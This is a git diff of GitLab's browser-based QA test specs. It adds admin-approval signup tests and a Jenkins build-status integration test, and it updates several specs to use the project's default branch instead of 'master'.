+ Resource::User.fabricate_via_api! do |resource|
+ resource.api_client = admin_api_client
+ end
+ end
+
+ before do
+ # Use the UI instead of API to delete the account since
+ # this is the only test that exercise this UI.
+ # Other tests should use the API for this purpose.
+ Flow::Login.sign_in(as: user)
+ Page::Main::Menu.perform(&:click_settings_link)
+ Page::Profile::Menu.perform(&:click_account)
+ Page::Profile::Accounts::Show.perform do |show|
+ show.delete_account(user.password)
+ end
+ end
+
+ it 'allows recreating with same credentials', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/937' do
+ expect(Page::Main::Menu.perform(&:signed_in?)).to be_falsy
+
+ Flow::Login.sign_in(as: user, skip_page_validation: true)
- context 'when user account is deleted' do
- let(:user) do
- Resource::User.fabricate_via_api! do |resource|
- resource.api_client = admin_api_client
+ expect(page).to have_text("Invalid Login or password")
+
+ @recreated_user = Resource::User.fabricate_via_browser_ui! do |resource|
+ resource.name = user.name
+ resource.username = user.username
+ resource.email = user.email
+ end
+
+ expect(Page::Main::Menu.perform(&:signed_in?)).to be_truthy
+ end
+
+ after do
+ @recreated_user.remove_via_api!
+ end
+
+ def admin_api_client
+ @admin_api_client ||= Runtime::API::Client.as_admin
end
end
+ end
+
+ context 'when admin approval is required' do
+ let(:signed_up_waiting_approval_text) { 'You have signed up successfully. However, we could not sign you in because your account is awaiting approval from your GitLab administrator.' }
+ let(:pending_approval_blocked_text) { 'Your account is pending approval from your GitLab administrator and hence blocked. Please contact your GitLab administrator if you think this is an error.' }
before do
- # Use the UI instead of API to delete the account since
- # this is the only test that exercise this UI.
- # Other tests should use the API for this purpose.
- Flow::Login.sign_in(as: user)
- Page::Main::Menu.perform(&:click_settings_link)
- Page::Profile::Menu.perform(&:click_account)
- Page::Profile::Accounts::Show.perform do |show|
- show.delete_account(user.password)
+ enable_require_admin_approval_after_user_signup_via_ui
+
+ @user = Resource::User.fabricate_via_browser_ui! do |user|
+ user.expect_fabrication_success = false
end
end
- it 'allows recreating with same credentials', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/937' do
- expect(Page::Main::Menu.perform(&:signed_in?)).to be_falsy
+ it 'allows user login after approval', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1076' do
+ expect(page).to have_text(signed_up_waiting_approval_text)
- Flow::Login.sign_in(as: user, skip_page_validation: true)
+ Flow::Login.sign_in(as: @user, skip_page_validation: true)
- expect(page).to have_text("Invalid Login or password")
+ expect(page).to have_text(pending_approval_blocked_text)
- @recreated_user = Resource::User.fabricate_via_browser_ui! do |resource|
- resource.name = user.name
- resource.username = user.username
- resource.email = user.email
- end
+ approve_user(@user)
+
+ Flow::Login.sign_in(as: @user, skip_page_validation: true)
+
+ Page::Registration::Welcome.perform(&:click_get_started_button_if_available)
- expect(Page::Main::Menu.perform(&:signed_in?)).to be_truthy
+ Page::Main::Menu.perform do |menu|
+ expect(menu).to have_personal_area
+ end
end
after do
- @recreated_user.remove_via_api!
+ set_require_admin_approval_after_user_signup_via_api(false)
+ @user.remove_via_api! if @user
+ end
+ end
+ end
+
+ def approve_user(user)
+ Flow::Login.while_signed_in_as_admin do
+ Page::Main::Menu.perform(&:go_to_admin_area)
+ Page::Admin::Menu.perform(&:go_to_users_overview)
+ Page::Admin::Overview::Users::Index.perform do |index|
+ index.click_pending_approval_tab
+ index.search_user(user.username)
+ index.click_user(user.username)
end
- def admin_api_client
- @admin_api_client ||= Runtime::API::Client.as_admin
+ Page::Admin::Overview::Users::Show.perform do |show|
+ user.id = show.user_id.to_i
+ show.approve_user
end
+
+ expect(page).to have_text('Successfully approved')
end
end
- def disable_require_admin_approval_after_user_signup
- Runtime::ApplicationSettings.set_application_settings(require_admin_approval_after_user_signup: false)
+ def set_require_admin_approval_after_user_signup_via_api(enable_or_disable)
+ return if Runtime::ApplicationSettings.get_application_settings[:require_admin_approval_after_user_signup] == enable_or_disable
+
+ Runtime::ApplicationSettings.set_application_settings(require_admin_approval_after_user_signup: enable_or_disable)
+
sleep 10 # It takes a moment for the setting to come into effect
end
+
+ def enable_require_admin_approval_after_user_signup_via_ui
+ unless Runtime::ApplicationSettings.get_application_settings[:require_admin_approval_after_user_signup]
+ Flow::Login.while_signed_in_as_admin do
+ Page::Main::Menu.perform(&:go_to_admin_area)
+ QA::Page::Admin::Menu.perform(&:go_to_general_settings)
+ Page::Admin::Settings::General.perform do |setting|
+ setting.expand_sign_up_restrictions do |settings|
+ settings.require_admin_approval_after_user_signup
+ end
+ end
+ end
+
+ sleep 10 # It takes a moment for the setting to come into effect
+ end
+ end
end
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
index 2f2f40cba3b..ff13b769e3a 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
@@ -3,7 +3,9 @@
module QA
RSpec.describe 'Manage', :smoke do
describe 'Project creation' do
- it 'user creates a new project', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/429' do
+ it 'user creates a new project',
+ testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/429',
+ quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/283925', type: :investigating } do
Flow::Login.sign_in
created_project = Resource::Project.fabricate_via_browser_ui! do |project|
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb
index 3609d083fde..db96c2d4ad3 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb
@@ -6,17 +6,18 @@ module QA
it 'user creates an event in the activity page upon Git push', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/407' do
Flow::Login.sign_in
- Resource::Repository::ProjectPush.fabricate! do |push|
+ project = Resource::Repository::ProjectPush.fabricate! do |push|
push.file_name = 'README.md'
push.file_content = '# This is a test project'
push.commit_message = 'Add README.md'
- end.project.visit!
+ end.project
+ project.visit!
Page::Project::Menu.perform(&:click_activity)
Page::Project::Activity.perform do |activity|
activity.click_push_events
- expect(activity).to have_content('pushed new branch master')
+ expect(activity).to have_content("pushed new branch #{project.default_branch}")
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb
index 5d863a80877..e394f6b1e9c 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb
@@ -27,6 +27,10 @@ module QA
end.visit!
end
+ after do
+ user&.remove_via_api!
+ end
+
it 'mentions a user in a comment', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/452' do
Page::Project::Issue::Show.perform do |show|
show.select_all_activities_filter
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb
index 22157d648ca..6ed204a98d4 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb
@@ -4,22 +4,20 @@ module QA
RSpec.describe 'Plan', :reliable do
describe 'collapse comments in issue discussions' do
let(:my_first_reply) { 'My first reply' }
+ let(:one_reply) { '1 reply' }
+ let(:issue) { Resource::Issue.fabricate_via_api! }
before do
Flow::Login.sign_in
- Resource::Issue.fabricate_via_api!.visit!
+ issue.visit!
+ end
+ it 'collapses and expands reply for comments in an issue', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/434' do
Page::Project::Issue::Show.perform do |show|
show.select_all_activities_filter
show.start_discussion('My first discussion')
show.reply_to_discussion(1, my_first_reply)
- end
- end
-
- it 'collapses and expands reply for comments in an issue', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/434' do
- Page::Project::Issue::Show.perform do |show|
- one_reply = "1 reply"
show.collapse_replies
expect(show).to have_content(one_reply)
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
index 9550572bd5c..688f42c48c6 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
@@ -19,7 +19,7 @@ module QA
end
end
- it 'closes an issue', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/225303', type: :bug }, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1085' do
+ it 'closes an issue', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1085' do
closed_issue.visit!
Page::Project::Issue::Show.perform do |issue_page|
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb
index 26a83fc3caa..11f93d6a97e 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb
@@ -40,12 +40,12 @@ module QA
issue.set_issue_assignees(assignee_ids: [user2.id])
expect(show).to have_assignee(user2.name)
- expect(show).to have_no_assignee_named(user1.name)
+ expect(show).not_to have_assignee(user1.name)
issue.set_issue_assignees(assignee_ids: [])
- expect(show).to have_no_assignee_named(user1.name)
- expect(show).to have_no_assignee_named(user2.name)
+ expect(show).not_to have_assignee(user1.name)
+ expect(show).not_to have_assignee(user2.name)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/2_plan/related_issues/related_issues_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/related_issues/related_issues_spec.rb
index 13761244300..6a133540f87 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/related_issues/related_issues_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/related_issues/related_issues_spec.rb
@@ -37,7 +37,7 @@ module QA
show.click_remove_related_issue_button
- expect(show).to have_no_text(issue_2.title, wait: max_wait)
+ expect(show).not_to have_text(issue_2.title, wait: max_wait)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb b/qa/qa/specs/features/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb
new file mode 100644
index 00000000000..0fec7bc9e9d
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb
@@ -0,0 +1,155 @@
+# frozen_string_literal: true
+require 'securerandom'
+
+module QA
+ RSpec.describe 'Create', :requires_admin, :skip_live_env, quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/195179', type: :flaky } do
+ describe 'Jenkins integration' do
+ let(:project_name) { "project_with_jenkins_#{SecureRandom.hex(4)}" }
+
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = project_name
+ project.initialize_with_readme = true
+ project.auto_devops_enabled = false
+ end
+ end
+
+ before do
+ jenkins_server = run_jenkins_server
+
+ Vendor::Jenkins::Page::Base.host = jenkins_server.host_address
+
+ Runtime::Env.personal_access_token ||= fabricate_personal_access_token
+
+ allow_requests_to_local_networks
+
+ setup_jenkins
+ end
+
+ it 'integrates and displays build status for MR pipeline in GitLab', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/719' do
+ login_to_gitlab
+
+ setup_project_integration_with_jenkins
+
+ expect(page).to have_text("Jenkins CI activated.")
+
+ QA::Support::Retrier.retry_on_exception do
+ Resource::Repository::ProjectPush.fabricate! do |push|
+ push.project = project
+ push.new_branch = false
+ push.file_name = "file_#{SecureRandom.hex(4)}.txt"
+ end
+
+ Vendor::Jenkins::Page::LastJobConsole.perform do |job_console|
+ job_console.job_name = project_name
+
+ job_console.visit!
+
+ Support::Waiter.wait_until(sleep_interval: 2, reload_page: page) do
+ job_console.has_successful_build? && job_console.no_failed_status_update?
+ end
+ end
+
+ project.visit!
+
+ Flow::Pipeline.visit_latest_pipeline
+
+ Page::Project::Pipeline::Show.perform do |show|
+ expect(show).to have_build('jenkins', status: :success, wait: 15)
+ end
+ end
+ end
+
+ after do
+ remove_jenkins_server
+ end
+
+ def setup_jenkins
+ Vendor::Jenkins::Page::Login.perform do |login_page|
+ login_page.visit!
+ login_page.login
+ end
+
+ token_description = "token-#{SecureRandom.hex(8)}"
+
+ Vendor::Jenkins::Page::NewCredentials.perform do |new_credentials|
+ new_credentials.visit_and_set_gitlab_api_token(Runtime::Env.personal_access_token, token_description)
+ end
+
+ Vendor::Jenkins::Page::Configure.perform do |configure|
+ configure.visit_and_setup_gitlab_connection(patch_host_name(Runtime::Scenario.gitlab_address, 'gitlab'), token_description) do
+ configure.click_test_connection
+ expect(configure).to have_success
+ end
+ end
+
+ Vendor::Jenkins::Page::NewJob.perform do |new_job|
+ new_job.visit_and_create_new_job_with_name(project_name)
+ end
+
+ Vendor::Jenkins::Page::ConfigureJob.perform do |configure_job|
+ configure_job.job_name = project_name
+ configure_job.configure(scm_url: patch_host_name(project.repository_http_location.git_uri, 'gitlab'))
+ end
+ end
+
+ def run_jenkins_server
+ Service::DockerRun::Jenkins.new.tap do |runner|
+ runner.pull
+ runner.register!
+ end
+ end
+
+ def remove_jenkins_server
+ Service::DockerRun::Jenkins.new.remove!
+ end
+
+ def fabricate_personal_access_token
+ login_to_gitlab
+
+ token = Resource::PersonalAccessToken.fabricate!.access_token
+ Page::Main::Menu.perform(&:sign_out)
+ token
+ end
+
+ def login_to_gitlab
+ Flow::Login.sign_in
+ end
+
+ def patch_host_name(host_name, container_name)
+ return host_name unless host_name.include?('localhost')
+
+ ip_address = `docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' #{container_name}`.strip
+ host_name.gsub('localhost', ip_address)
+ end
+
+ def setup_project_integration_with_jenkins
+ project.visit!
+
+ Page::Project::Menu.perform(&:click_project)
+ Page::Project::Menu.perform(&:go_to_integrations_settings)
+ Page::Project::Settings::Integrations.perform(&:click_jenkins_ci_link)
+
+ QA::Page::Project::Settings::Services::Jenkins.perform do |jenkins|
+ jenkins.setup_service_with(jenkins_url: patch_host_name(Vendor::Jenkins::Page::Base.host, 'jenkins-server'),
+ project_name: project_name)
+ end
+ end
+
+ def allow_requests_to_local_networks
+ Page::Main::Menu.perform(&:sign_out_if_signed_in)
+ Flow::Login.sign_in_as_admin
+ Page::Main::Menu.perform(&:go_to_admin_area)
+ Page::Admin::Menu.perform(&:go_to_network_settings)
+
+ Page::Admin::Settings::Network.perform do |network|
+ network.expand_outbound_requests do |outbound_requests|
+ outbound_requests.allow_requests_to_local_network_from_services
+ end
+ end
+
+ Page::Main::Menu.perform(&:sign_out)
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb b/qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb
index 37ddd1425a8..d53e7fcf69a 100644
--- a/qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb
@@ -80,7 +80,6 @@ module QA
def push_commit(commit_message)
Resource::Repository::ProjectPush.fabricate! do |push|
- push.branch_name = 'master'
push.commit_message = commit_message
push.file_content = commit_message
push.project = project
@@ -101,7 +100,7 @@ module QA
end
def master_branch_exists?
- project.repository_branches.map { |item| item[:name] }.include?("master")
+ project.repository_branches.map { |item| item[:name] }.include?(project.default_branch)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
index b58e820a6c9..d2ba97400e6 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
@@ -2,21 +2,23 @@
module QA
RSpec.describe 'Create' do
- describe 'Merge request creation from fork' do
- let(:merge_request) do
- Resource::MergeRequestFromFork.fabricate_via_api! do |merge_request|
+ describe 'Merge request creation from fork', :smoke do
+ let!(:merge_request) do
+ Resource::MergeRequestFromFork.fabricate_via_browser_ui! do |merge_request|
merge_request.fork_branch = 'feature-branch'
end
end
it 'can merge feature branch fork to mainline', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/928' do
- Flow::Login.sign_in
+ Flow::Login.while_signed_in do
+ merge_request.visit!
- merge_request.visit!
+ Page::MergeRequest::Show.perform do |merge_request|
+ merge_request.merge!
- Page::MergeRequest::Show.perform(&:merge!)
-
- expect(page).to have_content('The changes were merged')
+ expect(merge_request).to have_content('The changes were merged')
+ end
+ end
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb
index 02fbb0bbbd7..823a033ab6d 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb
@@ -27,7 +27,6 @@ module QA
push.project = project
push.file_name = "other.txt"
push.file_content = "New file added!"
- push.branch_name = "master"
push.new_branch = false
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_merge_ref_diff_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_merge_ref_diff_spec.rb
index 970615e8b90..24b92164060 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_merge_ref_diff_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_merge_ref_diff_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create', :requires_admin do
+ RSpec.describe 'Create', :requires_admin, quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/261793', type: :investigating } do
describe 'View merge request merge-ref diff' do
let(:project) do
Resource::Project.fabricate_via_api! do |project|
@@ -37,8 +37,8 @@ module QA
mr_page.click_diffs_tab
mr_page.click_target_version_dropdown
- expect(mr_page.version_dropdown_content).to include('master (HEAD)')
- expect(mr_page.version_dropdown_content).not_to include('master (base)')
+ expect(mr_page.version_dropdown_content).to include("#{project.default_branch} (HEAD)")
+ expect(mr_page.version_dropdown_content).not_to include("#{project.default_branch} (base)")
expect(mr_page).to have_file(merge_request.file_name)
expect(mr_page).not_to have_file(new_file_name)
end
@@ -62,8 +62,8 @@ module QA
mr_page.click_diffs_tab
mr_page.click_target_version_dropdown
- expect(mr_page.version_dropdown_content).to include('master (HEAD)')
- expect(mr_page.version_dropdown_content).to include('master (base)')
+ expect(mr_page.version_dropdown_content).to include("#{project.default_branch} (HEAD)")
+ expect(mr_page.version_dropdown_content).to include("#{project.default_branch} (base)")
expect(mr_page).to have_file(merge_request.file_name)
expect(mr_page).to have_file(new_file_name)
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb
index 98cbc5c0a93..8df68e0f53b 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create' do
describe 'Create, list, and delete branches via web' do
- master_branch = 'master'
+ master_branch = nil
second_branch = 'second-branch'
third_branch = 'third-branch'
file_1_master = 'file.txt'
@@ -21,12 +21,16 @@ module QA
project = Resource::Project.fabricate_via_api! do |proj|
proj.name = 'project-qa-test'
proj.description = 'project for qa test'
+ proj.initialize_with_readme = true
end
+ master_branch = project.default_branch
+
Git::Repository.perform do |repository|
repository.uri = project.repository_http_location.uri
repository.use_default_credentials
repository.try_add_credentials_to_netrc
+ repository.default_branch = master_branch
repository.act do
clone
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb
index 54d00209cc7..2b249f779d9 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb
@@ -40,7 +40,7 @@ module QA
end
def create_protected_branch(allowed_to_push:)
- Resource::ProtectedBranch.fabricate! do |resource|
+ Resource::ProtectedBranch.fabricate_via_api! do |resource|
resource.branch_name = branch_name
resource.project = project
resource.allowed_to_push = allowed_to_push
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb
index efd61a2e63a..a21c5d58aad 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb
@@ -7,7 +7,6 @@ module QA
let(:changed_content) { 'changes' }
let(:commit_message) { 'Changes to snippets' }
let(:added_content) { 'updated ' }
- let(:branch_name) { 'master' }
let(:snippet) do
Resource::Snippet.fabricate! do |snippet|
@@ -41,7 +40,7 @@ module QA
end
it 'clones, pushes, and pulls a snippet over HTTP, edits via UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/826' do
- Resource::Repository::Push.fabricate! do |push|
+ push = Resource::Repository::Push.fabricate! do |push|
push.repository_http_uri = repository_uri_http
push.file_name = new_file
push.file_content = changed_content
@@ -61,7 +60,7 @@ module QA
Git::Repository.perform do |repository|
repository.init_repository
- repository.pull(repository_uri_http, branch_name)
+ repository.pull(repository_uri_http, push.branch_name)
expect(repository.commits.size).to eq(3)
expect(repository.commits.first).to include('Update snippet')
@@ -70,7 +69,7 @@ module QA
end
it 'clones, pushes, and pulls a snippet over SSH, deletes via UI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/825' do
- Resource::Repository::Push.fabricate! do |push|
+ push = Resource::Repository::Push.fabricate! do |push|
push.repository_ssh_uri = repository_uri_ssh
push.ssh_key = ssh_key
push.file_name = new_file
@@ -90,7 +89,7 @@ module QA
repository.use_ssh_key(ssh_key)
repository.init_repository
- expect { repository.pull(repository_uri_ssh, branch_name) }
+ expect { repository.pull(repository_uri_ssh, push.branch_name) }
.to raise_error(QA::Support::Run::CommandError, /fatal: Could not read from remote repository\./)
end
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb
index 79e2677da66..4ce6c3fdcd3 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb
@@ -7,7 +7,7 @@ module QA
let(:changed_content) { 'changes' }
let(:commit_message) { 'Changes to snippets' }
let(:added_content) { 'updated ' }
- let(:branch_name) { 'master' }
+ let(:branch_name) { snippet.project.default_branch }
let(:snippet) do
Resource::ProjectSnippet.fabricate! do |snippet|
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
index 8445fdafdd4..b74f27389a0 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create', :smoke do
describe 'Personal snippet creation' do
- it 'User creates a personal snippet', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/840' do
+ it 'user creates a personal snippet', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/840' do
Flow::Login.sign_in
Page::Main::Menu.perform do |menu|
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb
index d80fc4c5b95..8c44cd6d642 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create' do # to be converted to a smoke test once proved to be stable
describe 'Project snippet creation' do
- it 'User creates a project snippet', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/839' do
+ it 'user creates a project snippet', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/839' do
Flow::Login.sign_in
Resource::ProjectSnippet.fabricate_via_browser_ui! do |snippet|
@@ -16,13 +16,13 @@ module QA
Page::Dashboard::Snippet::Show.perform do |snippet|
expect(snippet).to have_snippet_title('Project snippet')
- expect(snippet).to have_no_snippet_description
+ expect(snippet).not_to have_snippet_description
expect(snippet).to have_visibility_type(/private/i)
expect(snippet).to have_file_name('markdown_file.md')
expect(snippet).to have_file_content('Snippet heading')
expect(snippet).to have_file_content('Gitlab link')
- expect(snippet).to have_no_file_content('###')
- expect(snippet).to have_no_file_content('https://gitlab.com/')
+ expect(snippet).not_to have_file_content('###')
+ expect(snippet).not_to have_file_content('https://gitlab.com/')
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/delete_file_from_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/delete_file_from_snippet_spec.rb
index ca6ea5db65d..8002e95cf0d 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/delete_file_from_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/delete_file_from_snippet_spec.rb
@@ -46,8 +46,8 @@ module QA
aggregate_failures 'file names and contents' do
expect(snippet).to have_file_name('Original file name')
expect(snippet).to have_file_content('Original file content')
- expect(snippet).to have_no_file_name('Second file name')
- expect(snippet).to have_no_file_content('Second file content')
+ expect(snippet).not_to have_file_name('Second file name')
+ expect(snippet).not_to have_file_content('Second file content')
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb
index e2fa487c937..dad5ad74a4c 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb
@@ -2,7 +2,7 @@
module QA
RSpec.describe 'Create' do
- describe 'Open a fork in Web IDE' do
+ describe 'Open a fork in Web IDE', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/284081', type: :investigating } do
let(:parent_project) do
Resource::Project.fabricate_via_api! do |project|
project.name = 'parent-project'
diff --git a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb
index ccd4d34a916..fcd8cb02870 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb
@@ -19,7 +19,7 @@ module QA
it 'user adds a CI variable', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/395' do
Page::Project::Settings::CiVariables.perform do |ci_variable|
expect(ci_variable).to have_text('VARIABLE_KEY')
- expect(ci_variable).to have_no_text('some_CI_variable')
+ expect(ci_variable).not_to have_text('some_CI_variable')
ci_variable.click_reveal_ci_variable_value_button
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb
index cedc2db2a1a..c2ea568dbad 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb
@@ -3,9 +3,8 @@
require 'faker'
module QA
- RSpec.describe 'Verify', :runner, :requires_admin, :skip_live_env do
- describe "Include multiple files from a project" do
- let(:feature_flag) { :ci_include_multiple_files_from_project }
+ RSpec.describe 'Verify', :runner do
+ describe 'Include multiple files from a project' do
let(:executor) { "qa-runner-#{Faker::Alphanumeric.alphanumeric(8)}" }
let(:expected_text) { Faker::Lorem.sentence }
let(:unexpected_text) { Faker::Lorem.sentence }
@@ -31,16 +30,14 @@ module QA
end
before do
- Runtime::Feature.enable(feature_flag)
Flow::Login.sign_in
add_included_files
add_main_ci_file
project.visit!
- view_the_last_pipeline
+ Flow::Pipeline.visit_latest_pipeline(pipeline_condition: 'succeeded')
end
after do
- Runtime::Feature.disable(feature_flag)
runner.remove_via_api!
end
@@ -57,7 +54,7 @@ module QA
Page::Project::Job::Show.perform do |job|
aggregate_failures 'main CI is not overridden' do
- expect(job.output).to have_no_content("#{unexpected_text}")
+ expect(job.output).not_to have_content("#{unexpected_text}")
expect(job.output).to have_content("#{expected_text}")
end
end
